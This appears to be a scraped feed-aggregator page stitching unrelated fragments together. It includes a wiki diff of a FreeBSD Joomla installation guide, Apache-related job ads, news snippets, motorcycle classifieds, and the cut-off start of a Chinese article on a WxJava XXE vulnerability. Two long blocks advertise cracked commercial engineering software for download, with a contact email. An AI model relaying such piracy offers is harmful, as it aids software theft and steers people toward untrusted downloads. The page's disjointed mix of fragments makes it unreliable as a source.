MySQL log files are located in <code>/var/db/mysql/</code> and are named <code><hostname>.err</code> and <code><hostname>-slow.log</code> by default.<br />
MySQL databases are also located in <tt>/var/db/mysql/</tt><br />
+
MySQL databases are also located in <code>/var/db/mysql/</code><br />
  
  

          FreeBSD Installation      Cache   Translate Page      

Installing PHP

← Older revision Revision as of 05:09, 10 February 2019
(18 intermediate revisions by the same user not shown)
Line 1: Line 1:
 +
This article is a guide detailing how to install Joomla! Content Management System on a FreeBSD based system.<br />
 +
This guide details installation of the following application versions of the FAMP stack:<br />
 +
<br />
 
FreeBSD 12.0<br />
 
FreeBSD 12.0<br />
 
Apache 2.4<br />
 
Apache 2.4<br />
Line 4: Line 7:
 
PHP 7.3<br />
 
PHP 7.3<br />
 
Joomla! 3.9.x<br />
 
Joomla! 3.9.x<br />
 
+
<br />
==Note==
+
NOTE: Intended as a quick-start installation guide, this article does not address optimal [[S:Mylanguage/Security_Checklist|security settings]], performance tuning, etc.<br />
 
+
<br />
*This is just a quickstart guide; it does not deal with [[S:Mylanguage/Security_Checklist|security settings]], performance tuning, etc.
 
 
 
 
==Preparations==  
 
==Preparations==  
  
 
Open a terminal and log on to the FreeBSD system as root.
 
Open a terminal and log on to the FreeBSD system as root.
  
Ensure file <code>/etc/make.conf</code> exists and contains DEFAULT_VERSIONS that reflect the versions you intend to install on the system.<br />
+
Ensure the file <code>/etc/make.conf</code> exists and contains DEFAULT_VERSIONS that reflect the versions you intend to install on the system.<br />
 
<source lang="php">
 
<source lang="php">
 
DEFAULT_VERSIONS+= php=7.3 python=3.7 python3=3.7 perl5=5.28 mysql=8.0</source>
 
DEFAULT_VERSIONS+= php=7.3 python=3.7 python3=3.7 perl5=5.28 mysql=8.0</source>
 
<br />
 
<br />
  
==Installing Apache Server==  
+
==Installing Apache Web Server==  
  
 
Execute the following command to install apache24 as your webserver.<br />
 
Execute the following command to install apache24 as your webserver.<br />
Line 30: Line 31:
 
Start the apache server<br />
 
Start the apache server<br />
 
<code>service apache24 start</code><br />
 
<code>service apache24 start</code><br />
 
+
<br />
  
 
== Installing PHP==  
 
== Installing PHP==  
Line 58: Line 59:
 
==Installing Required PHP Extensions==  
 
==Installing Required PHP Extensions==  
  
Joomla requires the following PHP extensions
+
Joomla requires the following PHP extensions:
  
 
*JSON
 
*JSON
Line 69: Line 70:
  
 
To install the required extensions:<br />
 
To install the required extensions:<br />
<code>pkg install php73-json php73-mysqli php73-session php73-simplexml php73-xml php73-xmlreader php73-zlib</code>
+
<code>pkg install php73-json php73-mysqli php73-session php73-simplexml php73-xml php73-xmlreader php73-zlib</code><br />
 
+
<br />
 
 
  
 
==Configuring PHP==  
 
==Configuring PHP==  
Line 89: Line 89:
 
After installing and configuring PHP restart the Apache service.
 
After installing and configuring PHP restart the Apache service.
 
<code>service apache24 restart</code><br />
 
<code>service apache24 restart</code><br />
 +
<br />
  
 
+
==Installing MySQL Database Server==  
 
 
==Installing MySQL==  
 
  
 
Execute the following commands to install MySQL 8.0 server.<br />
 
Execute the following commands to install MySQL 8.0 server.<br />
Line 115: Line 114:
 
Create a dedicated MySQL user with your preferred username and password.<br />
 
Create a dedicated MySQL user with your preferred username and password.<br />
 
root@localhost [(none)]><code>create user 'joomlauser'@'localhost' identified by 'password';</code><br />
 
root@localhost [(none)]><code>create user 'joomlauser'@'localhost' identified by 'password';</code><br />
 +
<br />
 
Grant the user all privileges to the Joomla database<br />
 
Grant the user all privileges to the Joomla database<br />
 
root@localhost [(none)]><code>grant all privileges on joomladb.* to 'joomlauser'@'localhost';</code><br /><br />
 
root@localhost [(none)]><code>grant all privileges on joomladb.* to 'joomlauser'@'localhost';</code><br /><br />
Line 120: Line 120:
 
<br />
 
<br />
  
==Installation of Joomla!==  
+
==Installing Joomla! CMS==  
  
 
Download the [https://downloads.joomla.org/latest Joomla installation package] ending with .zip<br />
 
Download the [https://downloads.joomla.org/latest Joomla installation package] ending with .zip<br />
Line 156: Line 156:
 
The final step of the web installer will be to delete the installation folder. <br />
 
The final step of the web installer will be to delete the installation folder. <br />
 
Once that is done you can browse to your newly installed Joomla! web site!<br />
 
Once that is done you can browse to your newly installed Joomla! web site!<br />
 +
<br />
  
 
==Post Installation==  
 
==Post Installation==  
  
Research how to optimally configure and harden the security of your Joomla! FAMP (FreeBSD Apache MySQL PHP) web server!<br />
+
Research how to optimally configure and harden the security of your Joomla! FAMP web server!<br />
 +
<br />
  
 
==Troubleshooting==  
 
==Troubleshooting==  

          ML Solutions Architect - Alexa AI - Amazon Technologies, Inc. - Seattle, WA      Cache   Translate Page      
Frameworks and Infrastructure with tools like Apache MXNet and TensorFlow, API-driven Services like Amazon Lex, Amazon Polly and Amazon Rekognition to quickly...
From Amazon.com - Tue, 08 Jan 2019 21:02:35 GMT - View all Seattle, WA jobs
          today's leftovers      Cache   Translate Page      
  • Databricks Continues To Grow Big Data Platform For Enterprise Apps

    Demand for advanced data analytics is helping to push Databricks and the open source Apache Spark project forward.

    At the core of many modern enterprise apps and services is a fundamental need for data analytics. It's a need that Databricks and the open source Apache Spark project that it leads both help to fill.

    It's also a need that a lot of organizations are willing to pay for. On Feb. 5, Databricks announced that it now generates over $100 million in annual revenue. Databricks still wants to grow more, and to that end the company raised a $250 million Series E funding round led by Andreessen Horowitz, Coatue Management, Microsoft, and New Enterprise Associates (NEA). Total funding to date for Databricks now stands at $498.5 million, and the company has a publicly stated valuation of $2.75 billion.

  • Don't Trust CloudFlare

     

    Outline:
    1. The immediate problem with CloudFlare, with a fix for lazy admins.
    2. The fundamental issue with CloudFlare and similar services.
    3. CloudFlare as a threat to federation.
    4. CloudFlare's expansion into the decentralized web and beyond.

  • HP’s Ink Subscription Has DRM That Disables Your Printer Cartridges

    In mid-2016 I was running into a recurring issue. I was always out of printer ink, and new cartridges were expensive. Laser printers can be cheaper for many people, but my household does print as many color photos as it does text documents, which means they’re not a good choice for me. So I purchased a new inkjet printer on the promise of HP’s easy-to-use ink subscription service. For a low cost, I would always have all the ink I needed—as long as I kept to a page limit, that is.

    Now, years later, I’ve realized there was one other price of admission. The ink they’ve sent me isn’t mine; it’s theirs. And if I cancel the subscription when the billing cycle ends, the printer won’t use the ink anymore, and HP requires I send it back to them. I have to buy new ink to replace the ink that is already in my house.

read more


          [LPIC-2]HTTP Services 20      Cache   Translate Page      
Which Apache HTTPD configuration directive specifies the RSA private key that was used in the generation of the SSL certificate for the server? A. SSLCertificateKeyFile B. SSLKeyFile C. SSLPrivateKeyFile D. SSLRSAKeyFile
          xubuntu 7.04に最新apache2(2.4.〜のやつ)を入れる方法教えてください。 apt-getで...      Cache   Translate Page      
xubuntu 7.04に最新apache2(2.4.〜のやつ)を入れる方法教えてください。 apt-getでやると2.2になります。
          Web Programmer and System Administration Position, Institute of Space & Atmospheric Studies - University of Saskatchewan - Saskatoon, SK      Cache   Translate Page      
Web programming (HTML, CSS, and javascript), strong Linux skills, system administration tools (bash, databases, apache, and SSL).... $45,000 - $60,000 a year
From University of Saskatchewan - Thu, 24 Jan 2019 00:19:02 GMT - View all Saskatoon, SK jobs
          Senior Data Engineer - OfferUp - Bellevue, WA      Cache   Translate Page      
Experience leveraging open source data infrastructure projects, such as Apache Spark, Airflow, Kafka, Flink, Samza, Avro, Parquet, Hadoop, Hive, HBase, Phoenix,...
From OfferUp - Wed, 12 Dec 2018 18:45:41 GMT - View all Bellevue, WA jobs
          UK Sends Fleet of Apaches to Arctic as Message to 'Whole Range of Adversaries'      Cache   Translate Page      
In late September 2018, British Defence Minister Gavin Williamson unveiled the country's new Defence Arctic Strategy, citing ever-increasing threats in the region and Russia’s alleged attempts to militarise it.
          Senior Big Data Architect – PSJH - Providence Health & Services - Renton, WA      Cache   Translate Page      
Experience Architecting Big Data platforms using Apache Hadoop, Cloudera, Hortonworks and MapR distributions. Providence is calling a Senior Big Data Architect ...
From Providence Health & Services - Sat, 26 Jan 2019 01:51:22 GMT - View all Renton, WA jobs
          Software Developer I - Edgesource Corporation - McLean, VA      Cache   Translate Page      
Experience with the Apache Hadoop ecosystem, MapR and/or Databricks. Edgesource is seeking a Software Developer I to join our team of qualified, diverse...
From Edgesource Corporation - Fri, 07 Dec 2018 11:20:16 GMT - View all McLean, VA jobs
          Geographix discovery v2017.3      Cache   Translate Page      

crack software download Aldec Alint Pro 2017.07 x64 ERDAS IMAGINE 2018 Dolphin Imaging v11.8 Optisystem v15 Apache RedHawk v13.1.2
Brian28#india.com----- change "#" to "@"
   New Software everyday Update,Anything you need,You can also check here: ctrl + f

CivilCAD.2014v1.0
Coreldraw.Graphics.Suite.X7.Win32_64
CZone.2.5-1.for.Abaqus.6.12-6.13
Dassault.Systemes.Isight.v5.8.3.Win64
DBI.Argos.v5.6.87.407
DS.Simulia.Tosca.Structure.v8.0.Win64
DNV sesam Genie v2013 
DNV Software GeniE v6.4.08 Win64
DNV Software Wadam v9.0.04 Win32
DynaRoad.v5.3.6.16789
Delcam.FeatureCAM.2014.R2.SP3
Delcam Exchange 2014 R4
DNV.Leak.v3.2
DaVinci Resolve v10.1.0.021 Win64
Dlubal.Rstab8.Rfem5.v0119
Embird 2012 portable Win32
WORKNC G3 V24
e-Xstream_Digimat v4.4.1_Win64
Geometric Glovius Pro v3.6 Win32_64
GPS.TrackMaker.Pro.v4.9.550
Hydromantis.GPS-X.v6.1.1
hypermesh v11.0
ParatiePlus v19.0
Pythagoras CAD+GIS v15.18 x64
ixRay.ixForTen.4000.v4.7.1
Geovariances.Isatis.2013.Win64
Infolytica MagNet v7.4.1.4 Win32
ixRay ixForTen 4000 v4.9.8
Cadence Conformal v15.20.100 Linux
Geometric DFMPro v3.4.0.1304 for SW2010-2014
Geostru.Slope.v2015.22.4.1106
Global.Mapper.v15.1.8.033114
GiD.Professional.11.1.8d.Win32_64
GeoThrust v3.0
IMSI.TurboCAD.Professional.Platinum.v21.0.Win32_64
InventorCAM 2014 Build 53851
Liscad V11.1
DS_CATIA_V5-6R2015_SP3_HF009 win32win64   
Intergraph.SmartSketch.v05.00.35.14.SP1   
Lumion v6.0 Pro Winx64                   
PSDTO3D v9.9               
Mentor Graphics Leonardo Spectrum v2015           
PTC Creo v3.0 M080 win32win64             
Agilent.Advanced.Design.System.v2016.01.Win
ANSYS.CHEMKIN.PRO.V17.0.R15151.LINUX.WIN.X64
CEETRON.GLView.Inova.v10.0.2.X64Linux64
DataKit.CAD.Plugins.V2016.Suite
DesignBuilder.Software.Ltd.DesignBuilder.v4.6.0.015
Geometric DFMPro v4.1.5.2895
Global Mapper v17.1 x64
ImageToSEGY v1.6
MIDAS NFX 2015 R1 x32 x64
MPCCI v4.4.2
Emerson Paradigm v2018.1
Progecad.2016.Professional.v16.0.10.23
Sidelinesoft.NL5.Circuit.Simulator.v2.1.1
Software.Republic.Pro.Contractor.Studio.v5.0.0.19
SolidWorks Visualize Professional v2016 Win64
SynaptiCAD.Product.Suite.v20.11
TMG_for_NX_8.5-10.0_Win
Trimble.Terramodel.HYDROpro.v2.40.954
VoluMill v7.2.0.2821_for_NX_7.5-10.0_Win
MedCalc.v13.0.0.0.Win32_64
Mentor Graphics Precision RTL 2013b Win32_64
Mentor.Graphics.Flotherm.v10.0.Win3264
MedCalc.v13.0.6.0.Win32_64
Merrick.MARS.Explorer.v7.1.7112.Win64
Microstran.Limcon.v3.62.140220
MicroSurvey.inCAD.Premium.2014.v14.2.0.126
Cadence MDV 18.03 Linux
Schlumberger Omni v2018
MSC.Patran.v2013.Win32_64
Newtek.IghtWave3D.v11.6.2.Win32_64.&.MacOSX
IAR EWAVR v5.3.02
SPEAG SEMCAD X Matterhorn v15
Kisssoft v2014
PaleoScan v1.5.0
Plexim.PLECS.Standalone.&.Blockset.v3.5.2
PowerShape.2014.R2
Quest.CANARY.v4.3.0
Palisade Decision Tools Suite v7.6
Pointcab v3.1 Win64
ProFirst.Group.LogiTRACE.v14.2.2
GE Cimplicity HMI V8.2
Petrosite.v5.5
Pinnacle.Studio.Ultimate.v17.1
Plexim.PLECS.Standalone.&.Blockset.v3.5.2.Win32_64
Proteus.Pro.v8.1.SP1
Proektsoft.Design.Expert.v2.4
Proektsoft.PSCAD.v1.1
CablEquity v2013
Infolytica ElecNet v7.8 x64         
Infolytica ThermNet v7.8 x64         
Infolytica OptiNet v7.8 x64
Quick.Terrain.Modeler.v8.02.Win32_64
Remcom XFDTD XF7 7.3.0.3 Win64
DecisionSpace Geosciences 10ep.3.06
Simulayt.Composites.Modeler.2013.0218.for.Abaqus.Win64
Sidelinesoft NL5 Circuit Simulator 2.0.3
Siemens Femap v11.1.1 with_NX_Nastran
Siemens Tecnomatix Machine Configurator v1.0.0.651
spaceclaim v2014
Synopsys.Coretools.vI-2014.03.Linux32_64
Synopsys.PrimeTime v2013.06 SP1 Linux32&64
Synopsys.VCS-MX.v2014.03.Linux32_64
Simlab Composer 2014 SP2 Animation Edtition Win32_64
Siemens.FEMAP.v11.1.0.TMG.v7.5.762.Win3264
Spec-TRACER.2013.12.Windows
Terrasolid.pack.v014.for.Bentley.Microstation.V8i.for.Windows
Thinkbox Deadline v5.2 Win64
Trafficware Synchro Studio v8.0
Trimble RealWorks v7.1.1
ToModel v6.5
Transform v3.2.2
Willmer.Project.Tracker.v1.1.8.1
Winlog v4.0
XP.Solutions.xpsite3D.v1.337
AutoPLANT Modeler V8i v08.11.10.182 Win32_64
AutoPLANT Plant Design V8i v08.11.09.140 Win32_64
Civil Content for Visualisation v08.11.07.05
GEOPAK Civil Engineering Suite V8i v08.11.09.659
GeoStructural Analysis 17.00.30.00
MicroStation V8i 08.11.09.571
RAM Concept V8i v05.01.01.10 Win32
Power ProStructures V8i v08.11.11.48
gINT.Pro.Plus.V8i.Ss1.08.30.03.223
PowerCivil for France V8i v08.11.09.497 
AutoSPRINK VR11 Win32
AWR.Design.Environment.v12 X64
CADprofi v12.00
DFMPro v4.0.0.3168 Win32_64
FEMM v4.2
Intergraph SmartPlant Review 2010
M.E.P.CAD.AlarmCAD.v5.0.12.Win64
M.E.P.CAD.AutoPRICER.v12.0.0
MSC Dytran 2016 Win64
Runge XPAC 7.12 x86
Runge.Talpac.v10.2
Siemens NX v10.0.3 MP01 Win64Linux64
Solid Edge ST8 MP04
Tekla Structures v21.1 SR2 x64


          Geographix DISCOVERY GVERSE Attributes v2016.1      Cache   Translate Page      

crack software download Romax Designer v17.0.0.149 TEBIS v4.0 Hydromantis Toxchem 4.3.5 OpenFlow Suite v2017 Vector Fields CONCERTO v6.0
Brian28#india.com----- change "#" to "@"
   New Software everyday Update,Anything you need,You can also check here: ctrl + f

AnyLogic.Professional.v7.0.2.Multilingual.Win32_64
Adobe Photoshop Creative Cloud 2014.0.0 x86x64
ANSYS Electromagnetics Suite 15.0.2 (64bit)
ANSYS SpaceClaim Direct Modeler 2014 SP1
AspenONE v8.6
ARCHLine.XP 2014 R1 x86x64
Dassault.Systemes.3DVIA.Composer.v6R2014x.T2.Win64
ANSYS.ACT.Extension.Library.R15
Altium Designer v14.3.11
ALPHACAM V2014 R1 SP1
Hevacomp V8i 25.06.09.27
CivilStorm V8i (SELECTSeries 4) 08.11.04.54
SewerCAD.V8i.SS4.08.11.04.54
SewerGEMS.V8i.SS4.08.11.04.54
StormCAD.V8i.SS4.08.11.04.54
Greyscale Gorilla GSG HDRI Studio v2.148 Win64
Beta CAE Systems (ANSA + MetaPost) 15.1.0 Tutorials
Bricsys Bricscad Platinum v14.2.12.34721 x86+x64
CAMWorks.Nesting.2014.SP0.1.for.SW2013-2014.Win32_64
Civil Survey Solutions Advanced Road Design 2014 Win64
DS_3DVIA_Studio_Pro_V6R2013x_HF4_Win
CST.Studio.Suite.v2014.SP2 Win32_64
CadSoft Eagle Professional v6.6
CD-Adapco Star CCM+ 9.04.009 Windows64 , Linux64
CSC.Tedds.2014.v16.00
Technodigit 3DReshaper 2018 v18.0 Win64
Cadmai.v4.6.0
CAESES.FRIENDSHIP-Framework(FFW).v3.0.19.Win32_64
DICAD.Strakon.Premium.v2014.SP1
OneCNC XR6
Willmer Project Tracker v4.5.1.228
Dassault.Systemes.3DExperience.v6R2014x.Windows.&.Linux
CATIA.v5R23.CAA.&.RADE-ISO
Delcam_PowerShape_2014_R2_SP2
DELMIA.v5-6R2014.GA.Windows
Dassault Systemes GEOVIA Minex v6.3.306
DataEast.CarryMap.v3.10.552
DIGICORP Ingegneria Civil Design v9.0 SP8 for AutoCAD 2014 Win64
Digicorp.Civil.Design.v9.0.SP4.AutoCAD.2014.Win64
ELCAD v7.7.1
OpenRail ConceptStation CONNECT Edition V10 Update 7
FABmaster v8G2
ESI ProCAST v2014 win64
ESI Visual-Environment v9.6 win64
ESRI CityEngine Advanced 2014.0 Win64
ECS.FEMFAT.v5.0d.Win64
ECS_FEMFAT-Lab_3.10_Win32
Eagle.Professional.6.6.0
Flow Architect Studio 3D v1.8.7
Functionbay RecurDyn.v8R1.SP6.Win64
FiberSIM_2012_SP1_HF5_for_CATIA_V5_R18-R22_Win32
Tanner Tools v16.22     
Geocortex Optimizer v1.7
Geocortex.Essentials.v4.1
GeoStru.EasyRefract.v2014.11.1.48
Geometric Glovius Professional v3.6.1 for Win3264
Geometric_eDrawings_Pro_2014
Global.Mapper.v15.2.3.b060614 x32x64
Geosoft TfA v3.5.0
Coventor CoventorMP 1.101 x64
Eps PANSYSTEM v2014 SP1
GeoModeling VisualVoxat (VVA) v7.3
GMG MESA Expert v12.3.2 Win64
Guthrie.QA.CAD.v12.A.02
GT-Suite.v7.4.Update.3
GeoEast v2.6.3
MicroSurvey CAD Studio v2018
koyo directsoft 5.2.10
HyperMILL v2016
SoftLogix5800 V18.0
HDL.Companion.v2.7.R1.for.Windowslinux
HDL.Desing.Entry.EASE.v8.1.R3.for.Windowslinux
IMSI TurboCAD Professional Platinum 21.1 (x86x64)
IES.VisualAnalysis.v11.00.0008
Inspection.Pro.for.SolidWorks.2014.SP4.Win32_64
Intec Simpack 9.6 Windows + Linux
KitchenDraw v6.5
Leonardo.XE.2013.v9.0.2014.2603
LMS Samcef Field 8.4-01 Win3264
LMS.Virtual.Lab.rev13.Win64
Landmark ProMAX R5000.10.1 Linux64
Maplesoft Maple 18.01 and MapleSim 6.4.01
Micromine v11 Win64
Xilinx SDSoC v2015.2
QualNet.Developer 5.0.2
MasterCAM.X7.MU2.SP1 Win32_64
powermill v2016 sp5
Mentor Graphics ModelSim v10.6d x64
Mentor.Graphics.questasim v10.1d Win32win64
motorcad v7.4.7                               
PTC Creo 3.0 F000 Full Multilanguage Win3264   
PCI.Geomatica.2013.SP3.Win32_64
Pointwise.GridGen.v15.18.Win32.&.Linux32_64.&.MacOSX
ProfiCAD v8.0.2   
ANSYS Apache RedHawk v13.1.2 Linux64       
GeoStructural Excavation Analysis 17.00.36.00
GeoStructural Finite Element Analysis 17.00.36.00
GeoStructural Analysis 17.00.36.00
GeoStructural Retaining Wall Analysis 17.00.36.00
Hevacomp 26.00.00.38
RAM Connection V8i 09.01.00.94
Bentely RAM SBeam v05.01.00
Bentely.AutoPLANT.Drawing.Flattener.V8i.v08.11.11.113.Win64
omega v2013.1
PTC_Creo_View_3.0_M020_Win
Prerequisites and Common Tools for AutoPLANT Applications v8i 08.11.11.113 Win64
Roxar.RMS.2013.0.rev.173741.Win64
RockWare RockWorks 16 v2014.6.2
Rocscience.Slide.v6.0.29
Ricardo Suite 2014.1 WindowsLinux
Rhinoceros.v5.0.SR9.Corporate.Edition.Win32_64 
Schlumberger PetroMod v2014 win64
Siemens.LMS.Samcef.rev15.1-1.Win64
Siemens.LMS.Samtech.Wind.Turbines.rev15.SL1.Win32_64
SIEMENS SIMATIC TIA Portal STEP 7 Pro V13 + PLCSIM V13
SolidWorks Enterprise PDM 2014 SP4.0
SynaptiCAD Product Suite 18.50j
SCHOUENBERG.CALCMASTER.V6.1
solidThinking_Design_2014.3889_HW12.0
Siemens NX Nastran v9.1 x64
Siemens.NX.v9.0.2.5.Update.Only.Win64linux64
tNavigator v3.3.3
TIA Portal STEP7+WINCC Professional V13
Tekla Structures v20.0 SR3 x86/x64
Zeataline Projects PipeData-PRO v9.1.0
VoluMill.NEXION.6.1.0.2193.Win32_64
VoluMill.v6.1.0.2193.for.NX.v6.0-9.0.Win32_64
Process & Instrumentation V8i 08.11.11.113 Win64
Microstran.Advanced.09.20.01.18
View.V8i.SS3.v08.11.09.584
promis-e V8i SS7 08.11.12.88
LEAP.CONSPLICE.V8i.SS2.01.03.00.03
Pointools.V8i.02.00.01.04


          Senior UI Software Engineer - Visteon Corporation - Grace Lake, WY      Cache   Translate Page      
IBM Rational Team Concert or ClearCase, Apache Subversion, etc.); IBM Rational Clearquest, Microsoft Team Foundation Service, Mozilla Bugzilla, etc.);...
From Visteon Corporation - Fri, 01 Feb 2019 20:43:21 GMT - View all Grace Lake, WY jobs
          Senior Big Data Architect – PSJH - Providence Health & Services - Renton, WA      Cache   Translate Page      
Experience Architecting Big Data platforms using Apache Hadoop, Cloudera, Hortonworks and MapR distributions. Providence is calling a Senior Big Data Architect ...
From Providence Health & Services - Sat, 26 Jan 2019 01:51:22 GMT - View all Renton, WA jobs
          Software Developer I - Edgesource Corporation - McLean, VA      Cache   Translate Page      
Experience with the Apache Hadoop ecosystem, MapR and/or Databricks. Edgesource is seeking a Software Developer I to join our team of qualified, diverse...
From Edgesource Corporation - Fri, 07 Dec 2018 11:20:16 GMT - View all McLean, VA jobs
          Chinook heavy lift helicopters ordered by IAF      Cache   Translate Page      

New Delhi, Feb 10 (IANS) The first of the 15 Chinook heavy lift helicopters ordered by the Indian Air Force (IAF) arrived in India on Sunday.

The CH-47F (I) was received at the Mundra Port in Gujarat and would be transported to its home base at Chandigarh.

Boeing, the maker of Chinooks, announced the arrival of the helicopter that will significantly enhance IAF's air lift capabilities.

The helicopter, which can carry around 10 tonnes of load, has been delivered ahead of schedule.

It will fill the gap in IAF's heavy lift capability that had taken a hit after the problems in maintaining three ageing Mi-26 helicopters - the world's heaviest helicopters - of Russian origin.

India had signed a $3 billion deal with the US in September 2015 for the purchase of 15 Chinook heavy lift and 22 AH-64E Apache attack helicopters.

Chinooks have a unique twin engine, tandem rotor design which has become one of the most visibly recognised symbols of the American armed forces.

--IANS

gautam/mr


           2017 TVS Apache RTR 20000 Kms       Cache   Translate Page      
Price: ₹ 75,000, Model: Apache RTR, Year: 2017 , KM Driven: 20,000 km,
Price slightly negotiable
.. urgent sale https://www.olx.in/item/2017-tvs-apache-rtr-20000-kms-ID1rscWX.html
           TVS Apache RTR 90000 Kms 2012 year       Cache   Translate Page      
Price: ₹ 27,000, Model: Apache RTR, Year: 2012 , KM Driven: 90,000 km,
New mrf tyres front and back
New battery
New disk plate
82489287.59,9787.351406 https://www.olx.in/item/tvs-apache-rtr-90000-kms-2012-year-ID1rry03.html
          Senior Big Data Architect – PSJH - Providence Health & Services - Renton, WA      Cache   Translate Page      
Experience Architecting Big Data platforms using Apache Hadoop, Cloudera, Hortonworks and MapR distributions. Providence is calling a Senior Big Data Architect ...
From Providence Health & Services - Sat, 26 Jan 2019 01:51:22 GMT - View all Renton, WA jobs
          Software Developer I - Edgesource Corporation - McLean, VA      Cache   Translate Page      
Experience with the Apache Hadoop ecosystem, MapR and/or Databricks. Edgesource is seeking a Software Developer I to join our team of qualified, diverse...
From Edgesource Corporation - Fri, 07 Dec 2018 11:20:16 GMT - View all McLean, VA jobs
          Introduction to Apache Cassandra      Cache   Translate Page      
Apache Cassandra was designed by Facebook and was open-sourced in July 2008. It is regarded as perfect choice when the users demand scalability and high availability without any impact towards performance. Apache Cassandra is highly scalable, high-performance distributed database designed to handle large voluminous amounts of data across many commodity servers with no failure.

          ML Solutions Architect - Alexa AI - Amazon Technologies, Inc. - Seattle, WA      Cache   Translate Page      
Frameworks and Infrastructure with tools like Apache MXNet and TensorFlow, API-driven Services like Amazon Lex, Amazon Polly and Amazon Rekognition to quickly...
From Amazon.com - Tue, 08 Jan 2019 21:02:35 GMT - View all Seattle, WA jobs
          (IND-PUNE) Data Engineer: Big Data      Cache   Translate Page      
**Job Description** **You and IBM India** IBM's Purpose is to be essential to our clients, to the world and one another and we are confident that together as IBMers we will drive this purpose. Joining IBM is about joining a culture of openness, teamwork, trust, and the invitation and expectation to have a voice. Join us and Do your Best Work Ever. IBM is recognized gold standard for inclusion, reflected in winning, to name few, the 2018 Catalyst Award for advancing women in business, the National Award Best Employer of People with Disabilities and being named one of the top 5 2018 Top Companies for Women Technologists for building an inclusive work environment — We advocate for fairness and equality as everyone is, and always has been, welcome at IBM. We at IBM Global Business Services (GBS) are a dynamic group of Business, Strategy and Technology professionals - a specific source of market-leading Industry Consulting, Application and Business process management, supported by the industry's most sophisticated outcome-based delivery model. All designed to be the Digital Reinvention partner for leading clients across the world - providing value-led and asset-powered end to end solutions. With a global footprint in over 170 countries, we are empowering clients to build upon their tremendous heritage in Application Innovation processes and also transform them to a Cloud, Cognitive and Social centric world. With skills across six sectors and 17 industries, all major service lines and competencies, IBM’s GBS is a promising business unit in itself to be a part of. **Your day in the role will include...** + Serve as a technical lead and mentor, provide technical support or leadership in the development and continual improvement of service. + Create lasting value for customers through our product offerings. + Proven Leader who can inspire teams to over-achieve, and who believes in ownership and accountability. + Develop and maintain effective working relationships with team members. + You will develop, maintain, evaluate and test solutions. + You will be involved in the design of data solutions using Hadoop based technologies like MapReduce, Hive, MongoDB or Cassandra **You will come with...** + You are responsible for Hadoop development and implementation including loading from disparate data sets, preprocessing using Hive and Pig. + Scope and deliver solutions with the ability to design solutions independently based on high-level architecture. + Maintain the production systems like Kafka, Hadoop, Cassandra, Elastic Search **How we’ll help you grow:** + You’ll have access to all the technical and management training courses to become the expert you want to be + You’ll learn directly from experienced developers in the field, our team leads love to mentorYou have the opportunity to work in many different areas to figure out what really excites you. **Required Technical and Professional Expertise** + Overall 10+ - 15 years of experience in design and architecture with a minimum of 4+ years in major Hadoop distributions – Cloudera, Hortonworks, Big Insights, MapR or Cloud based Hadoop distributions AWS EMR, Azure HDInsight, Watson Data Platform (BlueMix) + Experience with Apache Hadoop ecosystem components – + MapReduce, Pig, Hive, Hbase + Flume, Sqoop, Storm, Spark + Ambari, Oozie, ZooKeeper + Proficient in SQL, Spark, Python, Scala and Java + Experience in implementing use cases for Hadoop - DW Augmentation and Data Exploration + Good understanding and experience with the traditional DW architecture solutions – Kimball and Inmon implementations. + Designed / developed RDBMS migration to Hadoop + Experience in Metadata Management skills on Cloudera Navigator, Apache Atlas, Apache Falcon + Ability to size and develop / validate physical architecture of data platform **Preferred Tech and Prof Experience** + Hands-on 2 years’ experience in real time Big Data projects. + Familiar with one cluster manager like Cloudera Manager or Ambari + Ambitious individual who can work under their own direction towards agreed targets/goals. + Ability to manage change and be open to it good time management and an ability to work under stress + Proven interpersonal skills while contributing to team effort by accomplishing related results as needed + Maintain technical knowledge by attending educational workshops, reviewing publications **EO Statement** IBM is committed to creating a diverse environment and is proud to be an equal opportunity employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, gender, gender identity or expression, sexual orientation, national origin, genetics, disability, age, or veteran status. IBM is also committed to compliance with all fair employment practices regarding citizenship and immigration status.
          [آموزش] دانلود Udemy JavaScript practice build a game Card game - آموزش ساخت بازی کارت با جاوا اسکریپت به صورت عملی      Cache   Translate Page      

دانلود Udemy JavaScript practice build a game Card game - آموزش ساخت بازی کارت با جاوا اسکریپت به صورت عملی#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

جاوااسکریپت (JavaScript) زبان برنامه‌نویسی اسکریپت مبتنی بر اشیاء است که توسط NetScape تولید شده‌است. جاوااسکریپت، یک زبان برنامه‌نویس شیءگرا و سطح بالا است که بر اساس استاندارد ECMA-262 Edition 3 نوشته شده‌است. علیرغم اشتباه عمومی، زبان جاوااسکریپت با زبان جاوا ارتباطی ندارد، اگر چه ساختار این زبان به سی پلاس پلاس(++C) و جاوا شباهت دارد؛ که این امر برای یادگیری آسان در نظر گرفته شده‌است. از همین رو دستورهای متداول مانند if, for, try..catch ,"while" و... در این زبان هم یافت می‌گردند.در دوره آموزشی Udemy JavaScript practice build a game Card game با آموزش ساخت بازی کارت با جاوا ...


https://p30download.com/84856

مطالب مرتبط:



دسته بندی: دانلود » آموزش » برنامه نویسی و طراحی وب
برچسب ها: , , , , , , , , , , , , ,
لینک های مفید: خرید کارت شارژ, شارژ مستقیم, پرداخت قبض, خرید آنتی ویروس, خرید لایسنس آنتی ویروس, تبلیغات در اینترنت, تبلیغات اینترنتی
© حق مطلب و تصویر برای پی سی دانلود محفوظ است همین حالا مشترک این پایگاه شوید!
لینک دانلود: https://p30download.com/fa/entry/84856


          Research Application Administrator - ITS - Careers | West Virginia University - Morgantown, WV      Cache   Translate Page      
Have extensive knowledge of application administration using the Apache Tomcat 7/8 Java Serviet Server, Apache Web Server using HTTP Proxy directives and...
From West Virginia University - Tue, 15 Jan 2019 04:05:27 GMT - View all Morgantown, WV jobs
          修不好的洞,JDK 的坑:从 WxJava XXE 注入漏洞中发现了一个对 JDK 的误会      Cache   Translate Page      

事情缘起

前些日,开源社区流行的微信Java SDK爆出XXE注入漏洞,漏洞编号为:CVE-2019-5312。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞:CVE-2018-20318。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了factory.setExpandEntityReferences(false)的设置。CVE-2019-5312中又在下面增加了factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)的设置。也就是说CVE-2018-20318的修复没有起任何作用。这引起了我的好奇,深挖了一下,发现这个事情一波三折,还比较有趣,于是想整理下,分享给大家。

啥是XXE注入

